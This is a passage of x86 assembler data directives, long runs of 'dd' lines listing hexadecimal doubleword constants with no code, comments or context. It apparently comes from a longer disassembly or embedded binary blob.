5ED44B4h, 0AC508F2Ah, 3981BADh, 4C204CC0h, 0F39B2379h dd 83FC760Bh, 432EB2EFh, 8146983Ah, 30CF8EDAh, 0AC783332h dd 0A7F8893Eh, 0A991E53Eh, 594A79EEh, 0E83F8D06h, 7CCD061Fh dd 0C5D7DC49h, 64A7546Ch, 5AE2C2A3h, 816F9751h, 91A7BF27h dd 0D36D8B97h, 0A17C37FAh, 0DCE2A758h, 77F0D06Bh, 0AA46136h dd 0AF5046E7h, 10E75650h, 0E7ABFCB9h, 0DA059DFh, 0ADB667F6h dd 0D65376C3h, 0D100CE75h, 0CF4BDFD5h, 0C2ACF679h, 0BAB97046h dd 94DD4056h, 2EBA80E8h, 7CA69E18h, 5F23CFE3h, 0D96359DCh dd 0D5E7B117h, 0EAD084Fh, 66709FDDh, 0ECAD2FAEh, 0D75940D6h dd 7D8DEF05h, 0EACB1FEBh, 0A7A77F5Bh, 71509C48h, 3FEA3F6Eh dd 555E936Ch, 0E52B71C8h, 0ABB6AE0Fh, 0BF9476AFh, 458B277Ch dd 0B2D19E2h, 7B78B237h, 0DAA16723h, 0F6C6AEE4h, 9CF25F5Ch dd 681C1B71h, 0E9B757E0h, 0F5128D92h, 21BBEE9Ch, 0C25CF512h dd 0B5184377h, 55BF1921h, 19E7F83Dh, 39E929E1h, 170F6043h dd 0C23F180Dh, 219E4E39h, 85E77A98h, 0B5DBD695h, 2F40836Fh dd 7E6CD0F4h, 7F674086h, 0C40165A2h, 0C45AAA49h, 98D1B792h dd 57916C49h, 3E29DF12h, 0B4230CBCh, 0F5105864h, 0F76C63DDh dd 0CE21F33Ch, 98E4577Fh, 1998D572h, 0F0AC0654h, 60E517FEh dd 49A2EE3Dh, 0BD3FEAE6h, 1FF6B4EEh, 6E2C565h, 0B5E9EF6Bh dd 0E99EF9ECh, 2F4F14F5h, 7A798DB0h, 3345FEE9h, 83D12D6Ah dd 0BAD1231Eh, 4179E455h, 0E9CB094Ah, 43BBC9D5h, 4E5608ECh dd 0A39AE18h, 4DEC87EFh, 7841EF21h, 0E4C11C8Fh, 9959DD3h dd 77DA819Ah, 0B44A6984h, 660E400h, 9EDD5281h, 453963EEh dd 0F56B10ABh, 9827BDC7h, 0F2FC471Ah, 0BE6BAF08h, 120B9EE1h dd 0D2842AA5h, 7F45EA1Eh, 0A6431ACh, 13EF748Eh, 9B419112h dd 0F2264B95h, 0DEF7B24Ch, 0B563BC2Dh, 62D429Dh, 8FC35FD7h dd 26917EF0h, 7FB8472Ch, 0B317D55Eh, 0CF7A8841h, 6467B4Fh dd 0AD88B84Ch, 0F4FD90A7h, 0A0C8E5ABh, 41BA463h, 31B10F54h dd 0FAFDFC58h, 92541D1Eh, 0F8C9E344h, 0EF768A92h, 1B1077C1h dd 1AC3BFBAh, 164A04D5h, 87B9F556h, 49B022A9h, 0B9813131h dd 2586C21Eh, 39123137h, 0ED2EF588h, 5AC59C23h, 57E0EB0h dd 0CAEF27A3h, 2F334093h, 0A30EF36Ah, 0D7E45BF3h, 0F0C5E66Ah dd 17251247h, 0C5E66C3h, 97AC3BAFh, 0F99A8D5Ah, 7D453A9Ah dd 6A5DC3A4h, 6991433Dh, 7093E3EDh, 0D05AED17h, 600BC9AFh dd 9F7C43ECh, 0F7239071h, 5913CBE4h, 0A256EB77h, 0D453CD75h dd 6072E9D6h, 9E8360C6h, 6E2F85F5h, 0F9B44796h, 36E85CCDh dd 0B670DB7Dh, 63218581h, 6677716Bh, 0D13E5F77h, 0C9ADECD7h dd 6C78B06Bh, 0A45E9F4Ah, 0F77685E8h, 81EA28E3h, 0E1FD453Eh dd 0EE91DC0Fh, 0E15F7ECCh, 376B1916h, 3E7A8204h, 235C4385h dd 0B25AFBF1h, 0F165EE59h, 0E0EFB41Fh, 0ADF79FDh, 87EEBC5Ch dd 0BAF2702Ah, 0F51815DEh, 0B9A81503h, 7030DFAEh, 54551788h dd 0CE7409F4h, 0CEC96F6Dh, 0B5D725C9h, 5E2AEF4Dh, 0B480E8B0h dd 0C4DE717h, 5EC1300Ch, 5ED559DCh, 8C15CC1Ch, 82B9B1D1h dd 0E9DB14E1h, 49C3D9D1h, 0F25BC462h, 3A01A516h, 4E8628F1h dd 7B38341Ah, 0E7463BA8h, 12317EA1h, 7B3FC638h, 2BD3BC62h dd 0CCB4D406h, 8C00A429h, 30E1ECBFh, 50130189h, 90CA9474h dd 1A1E5276h, 2679B841h, 46F2AD6Bh, 1BE74720h, 33A81F90h dd 0F8D3A06h, 0F3F4D7Dh, 0C8D968DBh, 0C4D17C7Bh, 0C7AE0C18h dd 0F57146Fh, 5EADB67h, 0CF7ECA29h, 0B8A8BB18h, 0DBB7CD86h dd 0E6AF4FC5h, 10C0C18Ch, 332E5E1Fh, 7194E1Eh, 0FB778D1Ah dd 992155EAh, 4918FB40h, 7915B0DBh, 0CB01C9CAh, 0A413A8E7h dd 0EFC53A02h, 31A09D2h, 94F5E168h, 71E88F9Dh, 0F0C7A2E5h dd 3B15FD22h, 0D1E0B160h, 4AD71474h, 44CDB85Bh, 3F0641ABh dd 3A00A14Dh, 0BB653DBAh, 9CA16C54h, 0F52E8BB2h, 5B3053E6h dd 2E5E77ACh, 0F8C3BC4Dh dd 0B6CC277Bh, 6B48475Bh, 94AEFBEBh, 94A3DE86h, 5BDF79A1h dd 0C27BD69Eh, 29155C6h, 4A78F893h, 0DFD1E3Ch, 0B860B0AAh dd 2E18EA8Ch, 0AEC5DEA3h, 3C36DC49h, 0DC9B0F2Eh, 41AD3CA0h dd 3A59621Dh, 0F884E837h, 8A4E04A9h, 17681245h, 547024F3h dd 0A865F54h, 2C03451Dh, 72E0B176h, 0B94701B5h, 59F17101h dd 0BB8F9C7Ah, 0B2982983h, 0A9A78BB4h, 1111D1BEh, 5D877EDBh dd 0FAF563ACh, 3F74941Dh, 0F22FF39Dh, 468158F1h, 0C8F613BDh dd 0CE7419CCh, 114E7107h, 0BD94765Ch, 0B5B52D10h, 0A04FD373h dd 0FF5CD9E9h, 15FF6293h, 434C49D0h, 6F89DDA0h, 29A3176Ah dd 0E0822C40h, 4B76E44Ah, 5ED321A0h, 0A67614E8h, 775033AAh dd 774CBA47h, 0C427BB17h, 8876EC6Dh, 0C22D765Ch, 87F6AE9Ah dd 14D33B32h, 524BE03Ch, 0D2AB352h, 1536AACCh, 419BAB8Ah dd 0E82496B0h, 9B2377D5h, 0C22B5AA0h, 5768391Ah, 9D3ED5C5h dd 0C8345C27h, 0CAC5620Ah, 0C37A41B1h, 0CEFA775Bh, 9C337111h dd 0B8A17EBEh, 351E402h, 74FDB801h, 0C3DEDAB9h, 8CE67AC6h dd 0BDEF4BADh, 6BA0AAB6h, 43FF825Bh, 0F33A84C3h, 8AA143BEh dd 3E6C8854h, 0E0C7957Ah, 8BABEF32h, 22C608CFh, 0F4BBEFF4h dd 81E0928Eh, 83A22FB2h, 0FC1AFBCCh, 711129Bh, 21176872h dd 0F2B027C9h, 0F5A66BBh, 368A8790h, 0F4511A19h, 0A506DF01h dd 333772CCh, 8440DEEFh, 0D719E092h, 0DE94258Ah, 0B644B4A1h dd 8101673h, 3AD335B2h, 0A4B43B73h, 0BC37C4CCh, 0C5EE2F3Bh dd 4F2C3A42h, 70CAB3EFh, 0FB382B27h, 47F86E33h, 8AFC57B1h dd 0A5E8B4E9h, 0DB05386Ah, 1B0376C5h, 0F7CBBBEAh, 0E7CC05E7h dd 18B29557h, 338AB395h, 23E04165h, 1647DD7Dh, 3A694925h dd 8DE836DCh, 8340E0F0h, 0F475AEB1h, 2FB34A5Dh, 69F8125Ah dd 0D63DEC02h, 5ECD0123h, 41CC259Eh, 0D0B69705h, 0F4D89C63h dd 1F4B2563h, 35A8129Eh, 46FBE9DEh, 0E14F675Ah, 81F48607h dd 538F9F69h, 2D1A06CFh, 0F38C69E4h, 458B9260h, 3BE7DA0h dd 0BEA9165Ah, 6CBF83CFh, 678BB6ABh, 0A5F5FBC0h, 1AC5CB8h dd 12905C24h, 4F1AE82Eh, 18817DABh, 1C55D05Fh, 1EB16999h dd 2A759709h, 0D9915D45h, 31928543h, 163F3AC8h, 22458E1Eh dd 7EA56F45h, 5A1ECF0Dh, 2F16386Dh, 889DF4E8h, 31D8B6D8h dd 0D8A5C523h, 764D6D09h, 0B8A40FE4h, 4218AD84h, 5D937401h dd 5B92E34Ch, 9E00E2ECh, 0C1A417D9h, 943748Ah, 7CDE4F2Dh dd 0B42C8A5h, 2D20B854h, 9912D052h, 0D0F134D7h, 0BE2677C4h dd 3AE5C6CFh, 0A504AC95h, 0A59AC528h, 2BA566B7h, 0B2FA6945h dd 0AB14EB34h, 0CE15AA95h, 511A1832h, 13A2BFFEh, 949F7D28h dd 32D46965h, 358A6B25h, 32CD62CBh, 0B384A759h, 0CD3711D2h dd 0CF1B1427h, 313102AFh, 3949B136h, 592464A6h, 7A19C3D3h dd 5AD3938Ch, 4E2DB94Dh, 4AC47856h, 0A05A0A06h, 0CEE39730h dd 1B87598Fh, 23A70ADEh, 0E6DD57FEh, 4DC7E54Ch, 5293DC8Eh dd 32742C27h, 0AF5CA05Ch, 333863BCh, 3EBE1628h, 0FBAC66D0h dd 0EBEE3E9Ch, 7CAE3EBDh, 8FCC9E84h, 98D240ADh, 8D69CA2Fh dd 0BD785A1h, 4E89E091h, 9EA18F55h, 0C8B48497h, 0F184ED6Bh dd 12CFA32Ch, 288BB42Bh, 178A724Ch, 4296E798h, 0DF1EFC5Fh dd 0A97DE667h, 0A9433479h, 76A291C6h, 43EEB18Fh, 0E296C4E3h dd 0E454CAC8h, 0A14A2E14h, 0AE1967DAh, 3EAA9EBAh, 0BAFF5505h dd 5BE218C6h, 0D63A659Dh, 0A5845375h, 101C2EC3h, 0BE9E5317h dd 894E8B09h, 0B46C1832h, 0FBCC477Dh, 847DD40Eh, 866B230Ch dd 26656E72h, 0A84E5F35h, 0D68C78E4h, 4BCAAE9Bh, 0D8BB3EBFh dd 18E196F0h, 0FBE4D9FAh, 78CCE674h, 736F9741h, 0E63AA2CFh dd 0D58526B9h, 38A59610h, 86D8CB23h, 0F0CA9E1Bh, 35FD2C54h dd 764AAD84h, 0F113A32Fh, 0E4B3BB21h, 0C4C2F3EDh, 9577A955h dd 73A4EE1Ch, 50C56B91h, 165ABEF3h, 8BB56AE2h, 189845F0h dd 4EF9714Ah, 0E503CA61h, 0A3B85B14h, 0EBD4CE52h, 42F397BDh dd 4E05D780h, 0BB20A882h, 6B2B92A8h, 29578534h, 135822F1h dd 0E8A9BBAEh, 381627B2h, 0DBDA0E45h, 86519DB3h, 2A2DFC85h dd 285DF0BAh, 7D405FAFh, 0A1BA9B32h, 0C24E4D25h, 2A8C1665h dd 0AFC3CF3Dh, 42B7EE79h, 5ACD0ACAh, 6985C5D9h, 0D559D9F9h dd 85162F2Bh, 9945D4E2h, 3B2F4D25h, 93111B96h, 1DE5538Ch dd 0CDCE52C2h, 9407AC8Bh, 0A919918Bh, 81232531h, 0D4C2E646h dd 7BA1C356h, 6C465F7Ch, 1150DCB5h, 0F270B3C3h, 91C3BC08h dd 9024B3E3h, 0C18EF3ADh, 48CB3FF2h, 0CA3BEB9Bh, 0EB5AC4C2h dd 1A56C4C2h, 19C287A9h, 3B8686D9h, 0CBD1ED7Dh, 0F029C28h dd 70297329h, 386B626Eh, 0F0EE028Dh, 0F37DB8C5h, 7364BC74h dd 73F5EB68h, 0A2086313h, 2ECDB0E9h, 0E73A0BFBh, 0EEB45B50h dd 0B0979DFFh, 0D3CD7030h, 2AA17F69h, 0A694A3BFh, 0A696B36Eh dd 5C915336h, 0F6DA57E2h, 45228461h, 0B2561CE5h, 347DC092h dd 0A4AF6401h, 52D24A17h, 0F739F7F0h, 2EC59484h, 84E8F4E8h dd 0C3B202DBh, 0E78824C2h, 3C764952h, 3B0F843Fh, 34CC513Eh dd 21E20DCBh, 2C59A48Bh, 1E696692h, 0AF2CD2A5h, 4CC4E48Eh dd 13564CB3h, 0EB04303Fh, 6E9EF1A2h, 7DBCA59Ah, 9534BF36h dd 0A8A77CBBh, 4B64A8B2h, 18ED85B9h, 839AA463h, 0AE2E7E78h dd 37D30048h, 0CEDC122Dh, 0FFDF9CE7h, 603A641Dh, 481CFCF7h dd 237454CCh, 0BFA1E2ECh, 76DF15F3h, 0A8FC72A9h, 4F95C5Dh dd 0F439118h, 0A99CD532h, 63A2A4C4h, 0D1312F9Ah, 0F3E5FB5h dd 68294CBDh, 0B09C16B5h, 0B58B416h, 850F5A8Eh, 69B31B4Dh dd 0C293471Ah, 0CA16E123h, 0EE02A8DCh, 8A3D39D9h, 0DEC4D278h dd 0C4567AFDh, 0DE7B9693h, 548C997Bh, 253C3D08h, 785D3A4Dh dd 59A967Ah, 0FECBA65Ch, 0C6A56664h, 780F28E3h, 24C21B2Fh dd 0A6539314h, 9429244Bh, 71A75E8Fh, 0C807544Ah, 88A8188Bh dd 0D2270977h, 99167CE9h, 0DC2ED739h, 1B1800E7h, 56862E67h dd 63497B16h, 46275E92h, 0A4CF4060h, 309C86CEh, 0EDB0C78Dh dd 2A6D8464h, 0EA75A76Dh, 3307EC4Ah, 0B5E10B33h, 5E792F8Bh dd 4A29C94Ch, 0F2D0E6F7h, 8F80298Ch, 0E74819E9h, 743BF172h dd 51BE5FF6h, 8531B457h, 6086485Ah, 0C8DFB8B9h, 0BD7DE890h dd 7F7985BEh, 0C318B7F7h, 9EB3A2DFh, 38C6429h, 0F507CE2Dh dd 2470D67Ah, 0C1638F7Dh, 0D9431A21h, 2CFAB38Fh, 19D052A3h dd 0CEB62936h, 867E78C2h, 69E19FD0h, 6590618Bh, 92670396h dd 0B52DDE39h, 0FEF3034Bh, 39D8FCC1h, 6CC43945h, 0F966C3BEh dd 0E6D559B8h, 5E7A2D6h, 5977A3DDh, 9AE1CAE3h, 0D9ADC18Fh dd 7EF2BAF7h, 0D8F7849h, 0B50CAF8Fh, 7F3D9CCFh, 0FE20497Bh dd 2567E960h, 577D87B9h, 16370DFEh, 460FF8D6h, 3CF48E8Ah dd 0A17DFC58h, 748FF1E5h, 4969FA5h, 11681352h, 0E584978Fh dd 0D1AE7FCAh, 3CE589D6h, 1CA01C62h, 39ECE67Ah, 37BEF3h dd 0AF7D9F36h, 34385944h, 1DCCA256h, 9E125EDAh, 0B28975F7h dd 66941126h, 38915289h, 5E786E01h, 4948F587h, 125628B8h dd 0CF099DB6h, 0B3EF32EBh, 33289575h, 0E992B16Ch, 0D2CAEA0Fh dd 0FBDEFBCCh, 0C6B471D9h, 4A8FC1F0h, 1422C6C2h, 8118A716h dd 8F4A136Fh, 380D8EDEh, 8B181252h, 0DA3A329h, 4BA686AAh dd 297163DCh, 573BCA75h, 280EF31Dh, 482227D1h, 7BA956F9h dd 0CAEBE266h, 0CD3B873Bh, 0FEDE9AFBh, 0B835FADCh, 0B67A275Dh dd 0F2B68807h, 0ED92345Ah dd 1691D1C0h, 1EED1CD6h, 8412AF03h, 0EBD495CFh, 5100FA81h dd 79A27446h, 4C23F30Eh, 8E5B1194h, 2A377EA5h, 48158BA7h dd 0B8EC4DE2h, 0F1270F18h, 24AAFF84h, 9EF77F70h, 429F681Bh dd 5685B12Bh, 5269677Dh, 0E1A2E049h, 19EB0491h, 0D99D2CA5h dd 0C8CF6BD0h, 6FEF9985h, 0DE553217h, 9F3A976Ch, 31E4B81Ah dd 4EF5AC1h, 592318A2h, 0BA93C44Fh, 13ED4E63h, 4CC71D73h dd 5B14CB47h, 0D461D11Ah, 0AB5D6704h, 91233231h, 6069CC16h dd 67DAF474h, 0CBE6487Ah, 5FC5C2D5h, 0C859F2CFh, 8937F32Eh dd 46996723h, 0C0A63983h, 78E6E0CDh, 0D612912Fh, 59C77714h dd 0C4922539h, 0EEE0DF5Bh, 568BA711h, 0D30B235Ah, 522D3626h dd 6CD6F4F2h, 0D7814DEBh, 0DA6CE18Dh, 7DF6EEA3h, 14EE5DD9h dd 5DD0F7A2h, 1057B08Bh, 12487E71h, 0CE2099E7h, 0FAADEBB1h dd 0ACC5C406h, 2DAF306Fh, 0E0AD65B4h, 66D697A9h, 0A2A6CBD5h dd 0D53A135Eh, 19E2E04Dh, 0BCCDC2ADh, 36A15E65h, 55389840h dd 0B616B586h, 0CAB1DEE5h, 0C46F0262h, 16296D1Bh, 2905199Eh dd 725E7F6Fh, 89452CB8h, 0F2A5FDBDh, 0D64D55C6h, 0BB102553h dd 0FB1E1A51h, 3CBB7A18h, 6A72E8FAh, 4E911D26h, 84FDF075h dd 1F494F47h, 3C0BA4A4h, 5169A506h, 0AEBEB964h, 9DF6912Dh dd 698789C6h, 0C489D7A4h, 26130FBAh, 39DA14C6h, 5B5233ADh dd 0C92FAAAFh, 8437DAFDh, 0DA86114Eh, 0B1223301h, 0EC48ECC8h dd 0C1D1C7F0h, 76B07D1Eh, 0BE993781h, 30617863h, 0D2844446h dd 62ABFBE8h, 0DAB02D8Bh, 6384FF5Ah, 4F72F7B9h, 7144F502h dd 83B478A1h, 0B142E9A9h, 1A50150Ch, 141BD15Dh, 0DC85A31Eh dd 919E3705h, 74E6241Dh, 3E4A45B0h, 0E43C4F9Ah, 0B7408231h dd 5E1E8132h, 1AFBE296h, 0A6EA4FD7h, 37AA5273h, 525D12B0h dd 0E8622D0h, 7428104h, 0FC8194E0h, 0F362210Ah, 0C19542D3h dd 4601B13Ch, 8A743F6Dh, 0BC70062Fh, 40393898h, 9885A99Eh dd 5E911049h, 8AF98C9Eh, 76563735h, 81FE701Dh, 7CBB68F2h dd 96BB5CA0h, 0DC2ADBB1h, 0C588B6ECh, 6D8D2AE4h, 2CF2B8F9h dd 0B4898533h, 0E6E331DBh, 0B8F2DDF8h, 77898DF8h, 931EFDD3h dd 0BF1F691Dh, 0FBCFD4Ch, 67E4930Ch, 1FACED01h, 0CD46420Ch dd 0B75432E2h, 0E7DBE2C0h, 2B728659h, 176390AFh, 5E40869Bh dd 4C0AD49Bh, 244BEEC1h, 5D39F744h, 0C6F100A1h, 4C78F257h dd 36F74C24h, 5E0210F3h, 0C19E4AFEh, 0CD3541F8h, 5338C184h dd 33CE3306h, 2F69BFCBh, 92197A96h, 2CBBC352h, 0D315227Bh dd 0FF657832h, 0FD2C5EE3h, 0B2C92453h, 2D47EB5Ah, 0F17BBBC9h dd 2EC1A598h, 9DB3B3F3h, 8D166A79h, 7D1E81B3h, 0B6DC5AD8h dd 4DCA2FBh, 4EC80773h, 6D900EB4h, 76403898h, 640355E2h dd 0AE4E5E27h, 0BF8DEAFAh, 44F25828h, 16719C46h, 1336F422h dd 0FD14DBCEh, 71080926h, 89B604BDh, 89881271h, 166812D1h dd 2B5024C3h, 24D02552h, 14E8128Ch, 9A7193E7h, 0EDD8FB97h dd 0F062EC33h, 0E9DCF897h, 6E449638h, 0F17711A3h, 0BC242C0Bh dd 0C4DAF58Fh, 636C3CA8h, 29E5CBF1h, 3F71E54Bh, 0BCB78679h dd 40AA3576h, 0E673154h, 0DA48A4C5h, 0E0F3E7A7h, 0B7EAA1E4h dd 34E5B5A6h, 4C5AB7B7h, 0D081C934h, 4D1B0DFDh, 2985032Ah dd 0D01C0D88h, 2897808Ch, 85F17C40h, 0B10EFD9Ch, 82AAA080h dd 2AD65093h, 0C1456E0Bh, 3CC16AADh, 82B54A4Eh, 14F5A7B7h dd 0E0B52BFCh, 99259257h, 0DDF05DDBh, 59EFC16Ah, 39AB010h dd 0D30116Ah, 30517B05h, 5274FE3Fh, 51DA6597h, 2BF8B135h dd 0A4499720h, 2384356Dh, 4DC66CC4h, 0B30E3891h, 0F17674CBh dd 9A4A98CFh, 0AC5DB073h, 0A01676Dh, 6BBB081Ch, 6B2C94D1h dd 0D16B9731h, 72692854h, 0E59500F7h, 65B679D3h, 5AC5ED44h dd 38988EF3h, 4D988495h, 5ADD8DA2h, 9C9261F1h, 0C926EF3Dh dd 0BBB30E1Ch, 92481C4Dh, 492EAF23h, 495DB48Eh, 9CBDA472h dd 67A2E204h, 5758E9A4h, 8112259Ch, 0A5956184h, 907788E2h dd 0DE49DBFFh, 5B90D0A4h, 0F95FA3F3h, 47E5D0AFh, 4B7DD29Eh dd 38AA641h, 410E7414h, 0A0847F03h, 0EBA8392Bh, 58AA83FBh dd 695692A2h, 357297CEh, 448E6B9Bh, 235BFE8Ch, 5CD47E33h dd 5FA2435h, 39D25005h, 73E650E4h, 368A11F8h, 0E0ED5EB4h dd 0EE81C003h, 1FFE4F8Bh, 0FAC0AADAh, 0EC3F4A6Ah, 8D4B1549h dd 0EF4FF1h, 887BE0B1h, 811B548Eh, 3C6D76A7h, 0C6DA6EC8h dd 6FA6ECA3h, 6C66EC14h, 0CC77676Ch, 337656C6h, 77609E37h dd 7666C6DCh, 616C6D27h, 18C6CA77h, 0BA8D59BBh, 0C3C46F67h dd 0DD46ECA2h, 0E40167B0h, 4F4EEA35h, 2434B04Bh, 0DF3D4CA2h dd 7BDD40EEh, 0F56BC991h, 0F16355E8h, 0AF803F1Fh, 0F0158839h dd 6FBEF1D8h, 2DDB1890h, 2ECA69D4h, 0FBA5041Ah, 8DAD4E97h dd 0C38A399Ah, 0B0649221h, 6F2A2DBCh, 861AC85Fh, 0A237DC1h dd 411E1B7Dh, 6DCA52FAh, 0A2E826B1h, 0BAE207Fh, 2219F19Eh dd 6AFFB33Eh, 0E479F1A9h, 0BFE18A56h, 8E0E6759h, 757F6696h dd 6D54DBBEh, 0DC6F529Bh, 0DC312DD0h, 4D76B0ACh, 0E8032A9Dh dd 0E85F1E5Fh, 0DD937972h, 0DB161CEEh, 4D3C6285h, 976EA771h dd 71EBF59Eh, 14998B16h, 2B4D5D3Eh, 0D21F7C9Eh, 3E33E0ADh dd 0CFBF1374h, 10CC400Ch, 70CE608Fh, 14B7C5B8h, 0EB08FF87h dd 0DFC7B05Ah, 58AED60Eh, 83A07FE0h, 32742E6Ah, 0C03BBAA0h dd 0D0EB60D8h, 0DE96E44Bh, 97F7A148h, 0D1DE7499h, 8D04DF7Ch dd 809F7109h, 86AD6A12h, 1705CB37h, 70D41492h, 335930DFh dd 10DE2C3Ch, 59ACDDC3h, 0D0F8D34Eh, 6A217875h, 494EA4EBh dd 43C4AF30h, 480A4D79h, 89244CF2h, 0F3C7E11Dh, 541C707Ch dd 0DE018D8Dh, 567A3D6Eh, 8DB9F150h, 0C7F2283Eh, 0AD1A60E3h dd 0D1F176F9h, 0AD88744Eh, 217EA5D3h, 7B3C8899h, 2D553C8h dd 0EB1FA90Bh, 1799E9BDh, 0D521DDEDh, 0BB156AB2h, 4C311959h dd 1E9D38A4h, 0B9661383h, 62F6B04Eh, 5E10BAFAh, 6D878CEBh dd 1AC57326h, 398D7E16h, 0B30C80E7h, 0D60CA1CCh, 95BB0D7Eh dd 5283A926h, 0C63C56CDh, 0BE5CFCCFh, 433332D9h, 0D0B5664Fh dd 5DCB8C56h, 102AECEFh, 99509D73h, 361D5576h, 55056C5Fh dd 808934B6h, 0AE76C318h, 42AAF79Bh, 71C57999h, 77F51A6Fh dd 8D7BAABFh, 54D1F4DBh, 0B21D20A5h, 0EBA2298Eh, 7D5EF127h dd 0B9C98B39h, 0CA3BB54Eh, 2C4D5D6Dh, 0ADDD5B6Ch, 85831A6Ch dd 4CA3E6DAh, 0E5DBD40Eh, 0AB4791A7h, 0AD90B2FDh, 0D7D67FB2h dd 0D62D501Eh, 62C87FF9h, 6755B49Dh, 0BADB0DADh, 813176ECh dd 0CE81A639h, 6B6FF322h, 6A54ACD9h, 5352B32Fh, 1799FB6Bh dd 0D12ECAE2h, 50540B4Bh, 64539F4Dh, 8B839A72h, 0C8DFF8F0h dd 0AC2D7DE2h, 0A9A1DA1Dh, 4966F6C7h, 8AC55F54h, 0FA3DF3A3h dd 5604DD06h, 0D546C8AFh, 421A46C4h, 0EBB88B54h, 4BD50361h dd 3E4E46CBh, 0F285D4F9h, 1DE24DBAh, 0B96669F4h, 85ECFE5Ch dd 0CCA067FDh, 3C6BC56Bh, 1171E0DDh, 47C50AC9h, 572EB6B9h dd 0C7F7ACFFh, 0C74C93FEh, 0F4F4CDF7h, 8A66EFC5h, 6BE9B419h dd 76A74C39h, 95FFC677h, 3EF6F371h, 0CB4EFF19h, 52F81CD8h dd 0FB6C655Ah, 5096BD54h, 0E1183357h, 2312276Ch, 96258B6Ch dd 4912CB7Fh, 0D1A85611h, 65D45233h, 0E1CFD205h, 0E35C9322h dd 22F00E6Ah, 0DF168883h, 8023497Fh, 0A9D8E45Bh, 0BF313D95h dd 44ECBCA4h, 7643F273h, 0A8B94D75h, 976529AEh, 23D66951h dd 87235913h, 29ECE872h dd 0B66C9FAAh, 13BEA95Ch, 78BF7B6Fh, 9CA99B71h, 4E932456h dd 0AD4C3657h, 0C6C5AF6Ah, 40D8B3DDh, 22FE7DA7h, 0B82EDE88h dd 8DA5D6CAh, 3FDFD5E4h, 0B7DBCB92h, 0B45E5B76h, 75170F1Eh dd 0AB22F479h, 6A13EF9Ch, 0E9B6837Dh, 0D6DB4431h, 0F3B077F1h dd 5B9CB57Dh, 0C1E4B9C1h, 0B3D0AF4h, 15AA667Bh, 0D98C2845h dd 154AAE55h, 3DE9A87Ch, 0DD31CB75h, 8F2BABCAh, 73399845h dd 0A6586374h, 0A0DD85DDh, 8E5B7FFh, 8815E3A2h, 2EF6452Dh dd 0BDF07986h, 0DDE4D90Bh, 0CF8D7962h, 0F8699411h, 0A477F15Ah dd 0EFCC3AADh, 0EF023534h, 7B01DD1Ch, 69DF33E7h, 3288168Ch dd 0D5E2A77Ah, 9E37CF15h, 0C8B55D85h, 0AE79272Fh, 9BA7542Dh dd 59C1C2Bh, 0DEF561F3h, 94A5EE11h, 6DB77E67h, 6B72BC37h dd 0FA6C4360h, 5F16C933h, 0F6273656h, 2BBB524Dh, 0F74A7B72h dd 32E2B2B2h, 24DEB487h, 0B5A48B6Ch, 6360687h, 3EE6CFA7h dd 0C6750DF4h, 762AE35Fh, 7087D47Fh, 0F0E2A389h, 7E38AB65h dd 0D86D9B9Bh, 22FAF0FCh, 12418AEDh, 2EA7BE5Dh, 0C6AD03FCh dd 2DE927A3h, 0D4CBFCE2h, 0EB2BEA95h, 24E99705h, 79578797h dd 15221156h, 954FC085h, 0B962C26Eh, 12411A17h, 0DE14437Ch dd 0BB5E7ECDh, 437AC0C4h, 6B5BD40Eh, 0FFEC75D5h, 0F03DF6B3h dd 0E3D7554Dh, 86D25F49h, 5B012536h, 4AB45A29h, 48A82899h dd 9DA4B6A8h, 3AA57845h, 922C2CAh, 936E0B55h, 31CE662Eh dd 12A18F78h, 0FB46974Ch, 36E6C97Ah, 9BA6DCDCh, 375F755Dh dd 0E9B86EFDh, 58D089C4h, 58651696h, 33F94190h, 0D5E10E29h dd 6DA814A0h, 3BF7DA80h, 0B497DCE7h, 0DF6E8FE5h, 0A48FCFCFh dd 0EF77DDEFh, 3BFEE7B9h, 0CF73DCF7h, 0D24B529Fh, 78436EDDh dd 4BEE060Bh, 3DFC956Ah, 3C024FA9h, 0F16092D1h, 68CDF2D5h dd 0D505B07Bh, 486BD433h, 0FD9F1F93h, 8033EB57h, 155D41DBh dd 794302Ch, 33A40B8Bh, 0D2429798h, 5C9D0AA5h, 5FC0F38Fh dd 0A0B7111Ah, 0AC5FE027h, 0B4A2547h, 89BFE62Ah, 6F956139h dd 0C4DB59E3h, 0A147182Dh, 0A3C76C4Dh, 92EE22A1h, 8A607146h dd 0DB8509D8h, 8D2D8C44h, 0F582DC4Dh, 0AC170E06h, 0E6874D30h dd 9C8154F8h, 6AB96B44h, 7415AC2Fh, 0A10DCAACh, 2380B771h dd 0FA99496Eh, 7B2EC157h, 17F8CCDAh, 1BAB0E5Dh, 32FDC7B9h dd 0F004A6CFh, 0AA237E62h, 0A6D0F490h, 0E0D38F8Ah, 0C3A2951h dd 0EE66DD9Dh, 522B5F82h, 0DE953292h, 3B056BADh, 0A78E2DA6h dd 0D2F8652Bh, 5A4B3F84h, 0FC5C9DD9h, 5FEF0F63h, 0ABF28F3h dd 68756C73h, 0B7C0698Dh, 96690D2Dh, 4B73BDC0h, 5EDABEBFh dd 0D5A8FB5Ah, 0AF05A9B6h, 7F19E630h, 9D2CAF1Fh, 0C3156905h dd 67C6B6D2h, 9D5B4E94h, 0A8F25A53h, 0AB0A2EBDh, 8BFC6C4h dd 0D2FCF1EDh, 0A5B94AEFh, 94C6955Fh, 9465203Eh, 0AF8493CEh dd 97C147C6h, 7E017159h, 493F8B6Fh, 915F77B7h, 0B8743215h dd 5D35F93h, 0ABA41A67h, 0B4AD31Bh, 0A3A5F1A4h, 943674A0h dd 1B294CEh, 87D2F493h, 5A9B4D1Fh, 759C60D0h, 0F02F7C5Bh dd 29F143ECh, 861B5C3Ch, 0F4579A78h, 0A0D0B98Bh, 29F91AB1h dd 9E966DDh, 47F1425Ch, 53C43CD6h, 1308C9BCh, 8C9FC66Ah dd 0E45365BAh, 0D352AE4Dh, 0DAD447FDh, 5F8AFBC7h, 5AC20FF4h dd 3C47742Ah, 81F1671Ah, 856F6155h, 6A8F565Bh, 5C3637CCh dd 0A1F2B739h, 5E3B617Eh, 37747CD8h, 3145ED5Eh, 6C694EFFh dd 835B3EA4h, 0AA33587Eh, 9B60D2D1h, 0DC87795Bh, 0B0C6BC1Fh dd 8E825784h, 0C8FE1BE3h, 3ABCAAC5h, 0BA83E154h, 0D56D6F16h dd 3AE8996Dh, 0DA915C92h, 5648FEh, 182DD311h, 0A14E6FD8h dd 0D1A93B09h, 9990DE52h, 9665AB7Ah, 0AD5A4B50h, 9829432h dd 0DE877826h, 5C998889h, 6A1DB644h, 32050DAAh, 42473FD1h dd 26BDB02Ah, 93A07A66h, 71FB5EF0h, 3B0C2FECh, 0C2C18987h dd 